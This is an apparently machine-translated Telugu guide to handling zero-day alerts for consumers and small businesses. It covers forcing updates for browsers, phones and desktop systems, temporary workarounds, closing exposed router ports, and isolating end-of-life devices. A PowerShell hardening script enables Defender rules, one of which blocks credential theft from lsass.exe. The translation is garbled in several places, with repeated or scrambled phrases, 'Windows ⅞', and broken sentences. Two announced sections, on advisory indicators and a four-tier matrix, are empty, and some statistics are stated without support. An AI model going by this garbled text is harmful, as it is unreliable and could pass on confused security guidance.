జీరో-డే వల్నరబిలిటీ అలర్ట్‌లు, ఎమర్జెన్సీ ప్యాచింగ్ మరియు నెట్‌వర్క్ ఐసోలేషన్¶

US సైబర్‌సెక్యూరిటీ అండ్ ఇన్‌ఫ్రాస్ట్రక్చర్ సెక్యూరిటీ ఏజెన్సీ నుండి అత్యవసర సైబర్‌ సెక్యూరిటీ అడ్వైజరీ కోసం మేల్కొలపడం (CISA), UK నేషనల్ సైబర్ సెక్యూరిటీ సెంటర్ (NCSC), Apple, Google లేదా Microsoft హెచ్చరిక జీరో-డే వల్నరబిలిటీ (0-Day) అడవిలో ** చురుకుగా దోపిడీ చేయబడుతోంది (KEV)** మీ iPhone, Android ఫోన్, Windows PC, Mac, Chrome బ్రౌజర్, హోమ్/ఆఫీస్ VPN ఫైర్‌వాల్ లేదా నెట్‌వర్క్ అటాచ్డ్ స్టోరేజ్ (NAS) డ్రైవ్ చేయండి లేదా మీ హోమ్ Wi-Fi రూటర్, సెక్యూరిటీ కెమెరా NVR లేదా పాత కంప్యూటర్ ** జీవితాంతం (ఎండ్-ఆఫ్-లైఫ్) చేరుకున్నట్లు కనుగొనండిEoL / ఎండ్-ఆఫ్-సపోర్ట్)** మరియు కొత్తగా వెల్లడించిన రిమోట్ కోడ్ ఎగ్జిక్యూషన్ లోపం కోసం ఎప్పటికీ ప్యాచ్ అందదు, తక్షణ ట్రయాజ్ అవసరం. సాధారణ నెలవారీ సాఫ్ట్‌వేర్ అప్‌డేట్‌ల మాదిరిగా కాకుండా, సక్రియంగా వినియోగించబడే జీరో-డే అంటే ముప్పు నటులు ఇప్పటికే పని చేసే ఆయుధ దోపిడీని కలిగి ఉన్నారు (జీరో-క్లిక్ iMessage/WhatsApp ఇమేజ్ పార్సర్ ఎక్స్‌ప్లోయిట్, హానికరమైన WebP/ఫాంట్ రెండరింగ్ బ్రౌజర్ ఎక్స్‌ప్లోయిట్, లేదా ప్రామాణీకరించని WAN పోర్ట్స్ కమాండ్‌లకు వ్యతిరేకంగా కమాండర్లు కలిగి ఉన్న రూట్‌లు పరిష్కారాన్ని అమలు చేసింది. ఒకసారి జీరో-డే ప్రూఫ్-ఆఫ్-కాన్సెప్ట్ (PoC) ప్రచురించబడింది లేదా జోడించబడింది CISA తెలిసిన దోపిడీ దుర్బలత్వాలు (KEV) కేటలాగ్, ఆటోమేటెడ్ బోట్‌నెట్‌లు (Mirai, Volt Typhoon, ransomware అనుబంధ సంస్థలు) ఓపెన్ వెబ్‌కు గురైన ప్రతి అన్‌ప్యాచ్ చేయని పరికరాన్ని హైజాక్ చేయడానికి 15 నుండి 45 నిమిషాలలోపు మొత్తం IPv4 ఇంటర్నెట్‌ను స్కాన్ చేయండి.

జీరో-డే దోపిడీ జీవిత-భద్రతా పరికరాలు, హాస్పిటల్ క్లినికల్ సిస్టమ్‌లు లేదా పబ్లిక్ యుటిలిటీ ఇన్‌ఫ్రాస్ట్రక్చర్‌కు అంతరాయం కలిగిస్తే లేదా భౌతిక దోపిడీ బెదిరింపులను కలిగి ఉంటే, మీ స్థానిక అత్యవసర నంబర్‌కు కాల్ చేయండి (911 యునైటెడ్ స్టేట్స్ మరియు కెనడాలో, 112 యూరోపియన్ యూనియన్ అంతటా, 999 యునైటెడ్ కింగ్‌డమ్‌లో) లేదా మా అంతర్జాతీయ డైరెక్టరీని సంప్రదించండి అత్యవసర సంఖ్యలు వెంటనే. వినియోగదారులందరికీ, గృహ-కార్యాలయం మరియు చిన్న-వ్యాపార జీరో-డే హెచ్చరికలు మరియు జీవితాంతం (EoL) హార్డ్‌వేర్ అత్యవసర పరిస్థితులు, వేగవంతమైన ప్యాచింగ్, తాత్కాలిక ఉపశమనం మరియు నెట్‌వర్క్ ఐసోలేషన్ వర్క్‌ఫ్లో దిగువన అమలు చేయండి.

ఇప్పుడే ఇలా చేయండి¶

1. బ్యాండ్ వెలుపల అత్యవసరాన్ని వర్తింపజేయండి (OOB) ప్యాచ్‌లు మరియు పూర్తి రీబూట్ / బ్రౌజర్ రీలాంచ్‌ని వెంటనే పూర్తి చేయండి: RAMలో హాని కలిగించే కోడ్‌ని అన్‌లోడ్ చేసే వరకు అత్యవసర నవీకరణను డౌన్‌లోడ్ చేయడం పనికిరాదు. క్రోమ్, ఎడ్జ్, బ్రేవ్ మరియు ఫైర్‌ఫాక్స్‌లో, మీరు ఎగువ కుడివైపు "అప్‌డేట్ చేయడానికి పునఃప్రారంభించండి" బటన్‌ను క్లిక్ చేసేంత వరకు, ప్యాచ్ చేయబడిన జీరో-డే మెమరీలో వినియోగింపబడుతుంది (chrome://settings/help) iOS, macOS, Windows మరియు Androidలో, అప్‌డేట్‌ను మాన్యువల్‌గా ట్రిగ్గర్ చేయండి మరియు పరికరాన్ని పూర్తిగా రీబూట్ చేయండి (ఇది నాన్-పెర్సిస్టెంట్ మెమరీ-రెసిడెంట్ స్పైవేర్‌ను కూడా ప్రక్షాళన చేస్తుంది).
2. సున్నా-రోజుకు ఇంకా ప్యాచ్ అందుబాటులో లేనట్లయితే ("అన్‌ప్యాచ్ చేయని 0-రోజు"), విక్రేత యొక్క తాత్కాలిక వర్కౌరౌండ్ లేదా అటాక్ సర్ఫేస్ రిడక్షన్ (ASR) ఈరోజు నియమం: ప్యాచ్ కంపైల్ చేయబడే ముందు హానిని బహిర్గతం చేసినప్పుడు, CISA మరియు విక్రేత తాత్కాలిక ఉపశమనాన్ని (రూటర్‌లో UPnP మరియు WAN రిమోట్ మేనేజ్‌మెంట్‌ను నిలిపివేయడం, iOS/macOSలో Apple లాక్‌డౌన్ మోడ్ని ఆన్ చేయడం, IOS/macOSలో ఆపిల్ లాక్‌డౌన్ మోడ్, పోర్ట్‌లో జావాస్క్రిప్ట్/జవాస్క్రిప్ట్/JITలో నిర్దిష్ట JavaScript/JITని బ్లాక్ చేయడం వంటివి ప్రచురిస్తారు. ఫైర్‌వాల్).
3. మీ పబ్లిక్ IP చిరునామాను ఆడిట్ చేయండి Shodan.io లేదా GRC ShieldsUP ఇప్పుడే మరియు అన్ని బహిర్గతమైన WAN పోర్ట్‌లను మూసివేయండి (Port Forwarding / UPnP / DMZ): తొంభై శాతం వినాశకరమైన ఇల్లు మరియు చిన్న-వ్యాపార జీరో-డే రాజీలు పబ్లిక్ ఇంటర్నెట్ నుండి నేరుగా చేరుకోగల పరికరాలను దెబ్బతీశాయి (QNAP / Synology NAS డ్రైవ్‌లు, ASUS / Netgear / TP-Link రూటర్ అడ్మిన్ పేజీలు, Plex, RDP Port 3389, లేదా VPN ఉపకరణాలు). మీ రూటర్‌లోకి లాగిన్ అవ్వండి మరియు మా తర్వాత వెంటనే రిమోట్ WAN అడ్మినిస్ట్రేషన్, UPnP (యూనివర్సల్ ప్లగ్ అండ్ ప్లే) మరియు DMZ హోస్ట్ని నిలిపివేయండి హోమ్ రౌటర్లు మరియు IoT పరికరాల మార్గదర్శినిని భద్రపరచడం.
4. ** జీరో-క్లిక్ స్పైవేర్ లేదా బోట్‌నెట్ ఇన్ఫెక్షన్ అని మీరు అనుమానించినట్లయితే వెంటనే మీ మొబైల్ ఫోన్ మరియు రూటర్‌ని రీబూట్ చేయండి**: స్మార్ట్‌ఫోన్‌లకు వ్యతిరేకంగా అధునాతన జీరో-డే దోపిడీలు (Pegasus, Predator, Triangulation) మరియు SOHO రౌటర్లు (VPNFilter, KV Botnet) తరచుగా పూర్తిగా అస్థిరతతో నడుస్తుంది RAM డిస్క్‌లో గుర్తింపును నివారించడానికి. పరికరాన్ని పూర్తిగా ఆపివేయడం, 60 సెకన్లపాటు వేచి ఉండటం మరియు దాన్ని తిరిగి ఆన్ చేయడం ద్వారా దాడి చేసే వ్యక్తి పరికరాన్ని తిరిగి ఉపయోగించుకునేలా బలవంతం చేస్తాడు (అత్యవసర ప్యాచ్ లేదా లాక్‌డౌన్ మోడ్ సక్రియంగా ఉన్నప్పుడు ఇది విఫలమవుతుంది).
5. జీరో-డేని ప్యాచ్ చేయడం వలన మీరు ప్యాచ్ చేయడానికి ముందు మీ పరికరాన్ని ఇప్పటికే ఉల్లంఘించిన దాడి చేసే వ్యక్తిని తొలగించలేరని భావించండి: సాఫ్ట్‌వేర్ ప్యాచ్ ఓపెన్ విండోను మూసివేస్తుంది, కానీ అది బ్యాక్‌డోర్‌లు, వెబ్ షెల్‌లు, రోగ్ అడ్మిన్ ఖాతాలు లేదా దొంగిలించబడిన సెషన్ కుక్కీలను తీసివేయదు దాడి చేసే వ్యక్తి మీ సిస్టమ్‌ను దోపిడీ చేసినట్లయితే. మీ రూటర్, NAS, VPN లేదా సర్వర్ ప్రమాణీకరించబడనప్పుడు ఇంటర్నెట్‌కు గురైనట్లయితే CVSS 9.8+ సున్నా-రోజు అడవిలో చురుకుగా ఉంది, రాజీ సూచికల కోసం లాగ్‌లను తనిఖీ చేయండి (IoCs), అన్ని ఆధారాలను తిప్పండి మరియు రాజీపడితే ఫ్యాక్టరీ రీసెట్ చేయండి లేదా పునర్నిర్మించండి.
6. ** ఏదైనా ముగింపు-జీవితాన్ని వేరు చేయండి (EoL) WAN ఇంటర్నెట్ యాక్సెస్ బ్లాక్ చేయబడిన కఠినమైన అతిథి / IoT VLANలో భద్రతా ప్యాచ్‌లను అందుకోలేని పరికరం**: ఎండ్-ఆఫ్-లైఫ్ Windows ⅞/10 PC, మద్దతు లేని పాత Mac, వాడుకలో లేని Android/iPhone లేదా నిలిపివేయబడిన Wi-Fi రూటర్ లేదా మీ ప్రధాన LANకి నేరుగా కనెక్ట్ చేయబడి ఉండకూడదు. EoL రూటర్ మీ ప్రధాన ఇంటర్నెట్ గేట్‌వే అయితే, అన్‌ప్లగ్ చేసి, దాన్ని వెంటనే భర్తీ చేయండి.

డెసిషన్ ట్రీ: యాక్టివ్ జీరో-డే అలర్ట్‌ల కోసం ఎమర్జెన్సీ ట్రయాజ్ మరియు ఎండ్-ఆఫ్-లైఫ్ (EoL) హార్డ్‌వేర్¶

అత్యవసర జీరో-డే దుర్బలత్వ సలహా లేదా జీవిత ముగింపు నోటీసు మీ సాఫ్ట్‌వేర్ లేదా హార్డ్‌వేర్‌ను ప్రభావితం చేసినప్పుడు ఈ నిర్మాణాత్మక నిర్ణయ వృక్షాన్ని అనుసరించండి:

flowchart TD
    Alert["మీ OS, బ్రౌజర్, రూటర్ లేదా NAS కోసం అత్యవసర జీరో-డే (0-రోజు) లేదా CISA KEV అలర్ట్ ప్రకటించబడింది"] --> PatchCheck{"1. విక్రేత అత్యవసర భద్రతా ప్యాచ్‌ను విడుదల చేశారా?"}
    PatchCheck -->|"అవును: ప్యాచ్ అందుబాటులో ఉంది"| Exposure{"2. ప్యాచ్ చేయడానికి ముందు మీ పరికరం నేరుగా ఇంటర్నెట్‌కు (WAN పోర్ట్ ఓపెన్) బహిర్గతమైందా?"}
    Exposure -->|"సంఖ్య: NAT వెనుక ఉన్న క్లయింట్ పరికరం (ఫోన్, ల్యాప్‌టాప్, బ్రౌజర్)"| Apply["స్థానిక సెట్టింగ్‌ల ద్వారా అప్‌డేట్‌ను ఇన్‌స్టాల్ చేయండి + పూర్తి రీబూట్ / బ్రౌజర్ రీలాంచ్ వెంటనే"]
    Exposure -->|"అవును: పబ్లిక్ ఫేసింగ్ రూటర్, NAS, VPN లేదా సర్వర్"| Forensic["క్లిష్టమైనది: ఒంటరిగా ప్యాచింగ్ చేయడం దాడి చేసేవారిని తొలగించదు. వెబ్ షెల్‌లు / రోగ్ అడ్మిన్‌లు, ప్యాచ్, రొటేట్ కీలు లేదా ఫ్యాక్టరీ రీసెట్ కోసం లాగ్‌లను తనిఖీ చేయండి"]
    PatchCheck -->|"సంఖ్య: అన్‌ప్యాచ్ చేయని 0-రోజు లేదా పరికరం జీవితాంతం (EoL)"| EoLCheck{"3. పరికరం శాశ్వతంగా జీవితాంతం (EoL) లేదా వెండర్ ప్యాచ్ కోసం వేచి ఉందా?"}
    EoLCheck -->|"వెండర్ ప్యాచ్ కోసం వేచి ఉంది (తాత్కాలిక 0-రోజుల విండో)"| Mitigate["అత్యవసర పరిష్కారాన్ని వర్తింపజేయండి: WAN పోర్ట్‌లను మూసివేయండి, Apple లాక్‌డౌన్ మోడ్ / Windows ASRని ప్రారంభించండి లేదా హాని కలిగించే సేవను నిలిపివేయండి"]
    EoLCheck -->|"శాశ్వతంగా జీవితాంతం (ఏ ప్యాచ్ ఎప్పటికీ రాదు)"| Role{"4. EoL పరికరం ఏ పాత్ర పోషిస్తుంది?"}
    Role -->|"ఎడ్జ్ రూటర్ / ఫైర్‌వాల్ / మోడెమ్"| Replace["వెంటనే అన్‌ప్లగ్ చేసి రీప్లేస్ చేయండి (లేదా హార్డ్‌వేర్ అనుకూలత ఉంటే ఓపెన్‌వర్ట్ ఫర్మ్‌వేర్‌కు ఫ్లాష్ మద్దతు ఉంది)"]
    Role -->|"లెగసీ PC, పాత ఫోన్, ప్రింటర్, కెమెరా లేదా NAS"| Isolate["ఎయిర్-గ్యాప్ లేదా ఐసోలేటెడ్ IoT VLANకి తరలించండి + రూటర్ ఫైర్‌వాల్ వద్ద ఇంటర్నెట్ యాక్సెస్‌ని నిరోధించండి"]

సెక్యూరిటీ ఇంజనీర్ లాగా జీరో-డే అడ్వైజరీని చదవడం (డీకోడింగ్ CVE, CVSS, CISA KEV, మరియు EPSS)¶

మీడియాలో నివేదించబడిన ప్రతి సాఫ్ట్‌వేర్ దుర్బలత్వానికి తెల్లవారుజామున 2:00 గంటలకు అన్నింటినీ వదిలివేయాల్సిన అవసరం లేదు. అధికారి లోపల ఐదు సాంకేతిక సూచికలను అర్థం చేసుకోవడం CISA, NIST NVD, లేదా విక్రేత సెక్యూరిటీ బులెటిన్ మీరు సైద్ధాంతిక ల్యాబ్ బగ్‌ను ఎదుర్కొంటున్నారా లేదా ఐదు-అలారం హౌస్ అగ్నిప్రమాదాన్ని ఎదుర్కొంటున్నారా అని 30 సెకన్లలో మీకు తెలియజేస్తుంది:

దశ 1: అన్ని ప్రధాన ప్లాట్‌ఫారమ్‌లలో అత్యవసర జీరో-డే ప్యాచింగ్ మరియు ధృవీకరణ¶

సక్రియ జీరో-డే మీ ఆపరేటింగ్ సిస్టమ్ లేదా వెబ్ బ్రౌజర్‌ను తాకినప్పుడు, ఆటోమేటిక్ ఓవర్‌నైట్ మెయింటెనెన్స్ విండోల కోసం వేచి ఉండకండి (ఇది తరచుగా 3 నుండి 14 రోజులు ఇన్‌స్టాలేషన్ ఆలస్యం అవుతుంది). బలవంతంగా లాగండి మరియు బిల్డ్ నంబర్‌ను మాన్యువల్‌గా ధృవీకరించండి:

1. వెబ్ బ్రౌజర్‌లు (గూగుల్ క్రోమ్, మైక్రోసాఫ్ట్ ఎడ్జ్, బ్రేవ్, ఫైర్‌ఫాక్స్, సఫారి): #1 జీరో-డే టార్గెట్¶

ఎందుకంటే వెబ్ బ్రౌజర్‌లు అవిశ్వసనీయ జావాస్క్రిప్ట్‌ను అన్వయిస్తాయి (V8 / SpiderMonkey / JavaScriptCore JIT కంపైలర్‌లు), WebRTC వీడియో స్ట్రీమ్‌లు, WebGL గ్రాఫిక్స్ మరియు ఇమేజ్ ఫార్మాట్‌లు (WebP, libvpx, FreeType) మీరు సందర్శించే ప్రతి సైట్ మరియు ప్రకటన నుండి, వినియోగదారు జీరో-డే హెచ్చరికలలో ఎక్కువ భాగం బ్రౌజర్ జీరో-డేస్ ఖాతాలో ఉంటుంది. 1. Google Chrome: రకం chrome://settings/help చిరునామా పట్టీలో. Chrome వెంటనే Google యొక్క నవీకరణ సర్వర్‌లను తనిఖీ చేస్తుంది మరియు ప్యాచ్‌ను డౌన్‌లోడ్ చేస్తుంది. మీరు తప్పనిసరిగా కనిపించే నీలి రంగు "పునఃప్రారంభించు" బటన్‌ను క్లిక్ చేయాలి మరియు మీ సిస్టమ్ ట్రేలో నడుస్తున్న నేపథ్య Chrome ప్రాసెస్‌లను మీరు దాచి ఉంచినట్లయితే, వాటన్నింటినీ మూసివేయండి లేదా మీ కంప్యూటర్‌ను రీబూట్ చేయండి, తద్వారా పాత హాని కలిగించవచ్చు chrome.exe బైనరీ RAM నుండి పూర్తిగా అన్‌లోడ్ చేయబడింది. 2. మైక్రోసాఫ్ట్ ఎడ్జ్: రకం edge://settings/help, డౌన్‌లోడ్ 100% హిట్ అయ్యే వరకు వేచి ఉండి, పునఃప్రారంభించు క్లిక్ చేయండి. 3. బ్రేవ్ బ్రౌజర్: రకం brave://settings/help మరియు మళ్లీ ప్రారంభించు క్లిక్ చేయండి. 4. మొజిల్లా ఫైర్‌ఫాక్స్: మెను బటన్ -> సహాయం -> ఫైర్‌ఫాక్స్ గురించి (లేదా టైప్ చేయండి about:preferences#general -> ఫైర్‌ఫాక్స్ అప్‌డేట్‌లు)కి స్క్రోల్ చేయండి మరియు ఫైర్‌ఫాక్స్‌ను అప్‌డేట్ చేయడానికి రీస్టార్ట్ క్లిక్ చేయండి. 5. Apple Safari: Safari అప్‌డేట్‌లు నేరుగా iOS, iPadOS మరియు macOS సిస్టమ్ అప్‌డేట్‌ల లోపల బండిల్ చేయబడతాయి (దీనితో పాటు స్వతంత్ర సఫారి అప్‌డేట్‌లు కింద ఉన్నాయి System Settings -> General -> Software Update MacOS Sonoma/Ventura కోసం).

2. స్మార్ట్‌ఫోన్‌లు మరియు టాబ్లెట్‌లు (Apple iOS / iPadOS మరియు Google Android)¶

మొబైల్ జీరో-డేస్ (ముఖ్యంగా జీరో-క్లిక్ iMessage, FaceTime, WebKit, బేస్‌బ్యాండ్ మోడెమ్ మరియు Android సిస్టమ్ / Qualcomm GPU లోపాలు) వాణిజ్య స్పైవేర్ ద్వారా ఎక్కువగా ఉపయోగించబడుతున్నాయి (Pegasus, Predator) మరియు లక్ష్యంగా చేసుకున్న బెదిరింపు నటులు. - ** Apple iPhone & iPad (iOS / iPadOS)**: 1. సెట్టింగ్‌లు -> జనరల్ -> సాఫ్ట్‌వేర్ అప్‌డేట్ తెరవండి. 2. ఆటోమేటిక్ అప్‌డేట్‌లు -> సెక్యూరిటీ రెస్పాన్స్ & సిస్టమ్ ఫైల్‌లుని ఆన్ చేయండి (కాబట్టి Apple రాపిడ్ సెక్యూరిటీ రెస్పాన్స్ / బ్యాక్‌గ్రౌండ్ సెక్యూరిటీ ఇంప్రూవ్‌మెంట్స్ ప్రధాన iOS విడుదలల మధ్య ఆటోమేటిక్‌గా వర్తిస్తాయి). 3. పెండింగ్‌లో ఉన్న iOS నవీకరణను వెంటనే ఇన్‌స్టాల్ చేయండి, ఇందులో పూర్తి కెర్నల్ రీబూట్ ఉంటుంది. - Android స్మార్ట్‌ఫోన్‌లు (Google Pixel, Samsung Galaxy మొదలైనవి): 1. Android వాస్తవానికి రెండు వేర్వేరు భద్రతా నవీకరణ ఛానెల్‌లను కలిగి ఉంది మీరు స్వతంత్రంగా తనిఖీ చేయాలి: - ఛానల్ A (OS సెక్యూరిటీ ప్యాచ్ స్థాయి): సెట్టింగ్‌లు -> సెక్యూరిటీ & గోప్యత -> సిస్టమ్ & అప్‌డేట్‌లు -> సెక్యూరిటీ అప్‌డేట్ తెరవండి (మరియు తేదీని తనిఖీ చేయండి: ఇది గత 30 నుండి 60 రోజులలోపు ఉండాలి). - ఛానల్ B (Google Play సిస్టమ్ అప్‌డేట్ / ప్రాజెక్ట్ మెయిన్‌లైన్): సెట్టింగ్‌లు -> సెక్యూరిటీ & గోప్యత -> సిస్టమ్ & అప్‌డేట్‌లు -> Google Play సిస్టమ్ అప్‌డేట్ని తెరవండి. మీ క్యారియర్ యొక్క నెలవారీ ఫర్మ్‌వేర్ అప్‌డేట్ కోసం వేచి ఉండకుండానే Android మీడియా కోడెక్‌లు, Wi-Fi స్టాక్ మరియు రన్‌టైమ్‌లలో చాలా క్లిష్టమైన జీరో-డేలు Google Play సిస్టమ్ అప్‌డేట్‌లు ద్వారా ప్యాచ్ చేయబడతాయి. నవీకరణ కోసం తనిఖీ చేయి నొక్కండి, ఇన్‌స్టాల్ చేయండి మరియు ఇప్పుడే పునఃప్రారంభించండి.

3. డెస్క్‌టాప్ ఆపరేటింగ్ సిస్టమ్స్ (Windows 10/11, macOS మరియు Linux)¶

• Windows 10 & Windows 11:
• ** సెట్టింగ్‌లను తెరవండి (Win + I) -> విండోస్ అప్‌డేట్ -> అప్‌డేట్‌ల కోసం తనిఖీ చేయండి**.
• Windows సెక్యూరిటీ -> వైరస్ & ముప్పు రక్షణ -> రక్షణ అప్‌డేట్‌లు -> అప్‌డేట్‌ల కోసం తనిఖీ చేయండి (Microsoft తరచుగా అత్యవసర జీరో-డే డిటెక్షన్‌లు మరియు వల్నరబిలిటీ వర్చువల్-ప్యాచ్‌లను రోజువారీ లోపల మైక్రోసాఫ్ట్ డిఫెండర్ సెక్యూరిటీ ఇంటెలిజెన్స్ డెఫినిషన్ అప్‌డేట్‌ల పూర్తి విండోస్ క్యుములేటివ్ ప్యాచ్ సిద్ధంగా ఉండటానికి గంటల ముందు కూడా తనిఖీ చేయండి.
• యాపిల్ మాకోస్:
• యాపిల్ మెనూ -> సిస్టమ్ సెట్టింగ్‌లు -> జనరల్ -> సాఫ్ట్‌వేర్ అప్‌డేట్ తెరవండి. "భద్రతా ప్రతిస్పందనలు మరియు సిస్టమ్ ఫైల్‌లను ఇన్‌స్టాల్ చేయండి" సమాచారం కింద టోగుల్ చేయబడిందని నిర్ధారించుకోండి (i) బటన్.
• ** Linux (Ubuntu / Debian మరియు RHEL / Fedora)**:
• తక్షణ భద్రతా రిపోజిటరీ రిఫ్రెష్‌ని అమలు చేయండి మరియు కెర్నల్ లేదా షేర్డ్-లైబ్రరీ (షేర్డ్-లైబ్రరీ) కాదా అని తనిఖీ చేయండి.glibc, openssl, openssh, xz, cups) పునఃప్రారంభం అవసరం:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

దశ 2: ఇంకా ప్యాచ్ లేనప్పుడు అత్యవసర పరిష్కారాలు ("అన్‌ప్యాచ్డ్ జీరో-డే" విండో నుండి బయటపడటం)¶

ఎప్పుడు ఏం చేస్తారు CISA, Microsoft, Apple, లేదా ప్రస్తుతం ఒక క్లిష్టమైన దుర్బలత్వం చురుగ్గా ఉపయోగించబడుతోందని భద్రతా సంస్థ ప్రకటించింది, కానీ విక్రేత అధికారిక ప్యాచ్ మరో 3 నుండి 10 రోజుల వరకు సిద్ధంగా ఉండదని చెప్పారు? మీరు వెంటనే దరఖాస్తు చేయాలి పరిహార నియంత్రణలు మరియు దాడి ఉపరితల తగ్గింపు (ASR) ఎక్స్‌ప్లోయిట్ చైన్‌ని అమలు చేయడానికి ముందు దానిని విచ్ఛిన్నం చేయడానికి:

స్క్రిప్ట్‌ని కాపీ చేసి అతికించండి: Windows PowerShell అత్యవసర జీరో-డే గట్టిపడటం (ASR నియమాలు)¶

అన్‌ప్యాచ్ చేయని Windows, Office లేదా PDF జీరో-డే అడవిలో తిరుగుతూ ఉంటే మరియు మీరు Windows 10/11 Pro/Enterprise (లేదా రిజిస్ట్రీ/PowerShell ద్వారా Windows Homeలో డిఫెండర్‌ని ఉపయోగిస్తుంటే) అమలు చేస్తుంటే, ఈ ఆదేశాలను **PowerShell (అడ్మినిస్ట్రేటర్‌గా రన్ చేయండి)లో అమలు చేయండిASR) నియమాలు Block మోడ్ (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

దశ 3: మీ పరికరం ఎండ్ ఆఫ్ లైఫ్‌ను తాకినప్పుడు ఏమి చేయాలి (EoL / మద్దతు ముగింపు)¶

హార్డ్‌వేర్ మరియు సాఫ్ట్‌వేర్ యొక్క ప్రతి భాగం చివరికి ** జీవితాంతం (EoL)** లేదా ** మద్దతు ముగింపు (EoS)**, విపత్తు సంభవించినప్పుడు కూడా తయారీదారు భద్రతా ప్యాచ్‌లను విడుదల చేయడాన్ని శాశ్వతంగా నిలిపివేసిన తేదీ CVSS 10.0 జీరో-డే దుర్బలత్వాలు కనుగొనబడ్డాయి. - ఎండ్-ఆఫ్-లైఫ్ ఎందుకు యాక్టివ్ ఎమర్జెన్సీ: దాడి చేసేవారు ఆటోమేటెడ్ "బైనరీ డిఫింగ్"ని ఉపయోగిస్తారు (BinDiff / Ghidra) మద్దతు ఉన్న మోడల్‌ల కోసం విడుదల చేసిన ప్యాచ్‌లపై (ఉదాహరణకు, Windows 11 లేదా కొత్త 2025 TP-Link రూటర్) ఖచ్చితమైన దుర్బలత్వాన్ని రివర్స్-ఇంజనీర్ చేయడానికి, ఆపై వెంటనే ఎండ్-ఆఫ్-లైఫ్ మోడల్స్ (Windows ⅞/అన్‌సబ్‌స్క్రైబ్ చేసిన పాత రూటర్లు, Windows 1-5 సంవత్సరాల పాత రూటర్లు లేదా విడుదల చేసిన Windows-10 రూటర్లు అదే లెగసీ కోడ్‌ను షేర్ చేస్తుంది కానీ ఎప్పటికీ ప్యాచ్‌ని పొందదు ("ఫారెవర్-డే ఎక్స్‌ప్లోయిట్స్").

4-టైర్ ఎండ్-ఆఫ్-లైఫ్ (EoL) హార్డ్‌వేర్ ఐసోలేషన్ & రీప్లేస్‌మెంట్ ప్రోటోకాల్¶

నెట్‌వర్క్-వ్యాప్తంగా ఉల్లంఘనకు గురికాకుండా మీ ఇల్లు లేదా కార్యాలయంలోని ప్రతి జీవిత ముగింపు పరికరాన్ని నిర్వహించడానికి ఈ నిర్ణయ మాతృకను ఉపయోగించండి:

జీవితాంతం ఎలా లాక్ చేయాలి (EoL) మీ రూటర్‌లో "ఇంటర్నెట్-నో-లోకల్-ఓన్లీ జైలు" లోపల ప్రింటర్, కెమెరా లేదా NAS¶

మీకు పాత నెట్‌వర్క్ ప్రింటర్, స్మార్ట్ టీవీ, IP సెక్యూరిటీ కెమెరా లేదా లెగసీ NAS డ్రైవ్ ఉంటే అది మీ హోమ్ నెట్‌వర్క్‌లో స్థానికంగా బాగా పని చేస్తుంది (LAN) కానీ ఎండ్-ఆఫ్-లైఫ్‌కు చేరుకుంది మరియు మరొక సెక్యూరిటీ ప్యాచ్‌ని ఎప్పటికీ అందుకోలేరు, మీరు బయట ఇంటర్నెట్‌తో మాట్లాడకుండా బ్లాక్ చేస్తే మీరు కాదు దాన్ని చెత్తబుట్టలో వేయాలి (WAN): 1. మీ ప్రాథమిక Wi-Fi రూటర్ యొక్క అడ్మినిస్ట్రేషన్ కన్సోల్‌కి లాగిన్ చేయండి. 2. **LAN సెట్టింగ్‌లు / DHCP సర్వర్ -> స్టాటిక్ DHCP లీజు (చిరునామా రిజర్వేషన్)కి వెళ్లి EoL పరికరాన్ని కేటాయించండి MAC Address శాశ్వత స్థిర స్థానిక IP చిరునామా (ఉదాహరణకు, 192.168.1.240) 3. మీ రూటర్ సెట్టింగ్‌లలో ఫైర్‌వాల్ / పేరెంటల్ కంట్రోల్స్ / యాక్సెస్ కంట్రోల్ / ట్రాఫిక్ రూల్స్కి వెళ్లండి: - కోసం ఒక నియమాన్ని సృష్టించండి 192.168.1.240 (లేదా దాని MAC Address) అన్ని ఇంటర్నెట్ (WAN) యాక్సెస్‌ని బ్లాక్ చేయండి (Outbound & Inbound WAN = DROP/REJECT). - ప్రత్యామ్నాయంగా, EoL పరికరం యొక్క స్వంత మాన్యువల్ నెట్‌వర్క్ సెట్టింగ్‌లలో, దాని స్టాటిక్ IPని సెట్ చేయండి 192.168.1.240, సబ్‌నెట్ మాస్క్ కు 255.255.255.0, మరియు ** వదిలివేయండి Default Gateway మరియు DNS Server ఫీల్డ్‌లు పూర్తిగా ఖాళీగా ఉన్నాయి (లేదా డిఫాల్ట్ గేట్‌వేని ఉనికిలో లేని IPకి సెట్ చేయండి 192.168.1.254). చెల్లుబాటు అయ్యే డిఫాల్ట్ గేట్‌వే లేకుండా, EoL ప్రింటర్ లేదా కెమెరా ఇప్పటికీ మీ లోకల్‌లోని కంప్యూటర్‌ల నుండి ప్రింట్ లేదా స్ట్రీమ్ చేయగలదు 192.168.1.x సబ్‌నెట్, కానీ ప్యాకెట్‌లను ఇంటర్నెట్‌కు లేదా ఇంటర్నెట్ నుండి చేరుకోవడానికి భౌతికంగా అసమర్థంగా ఉంది.

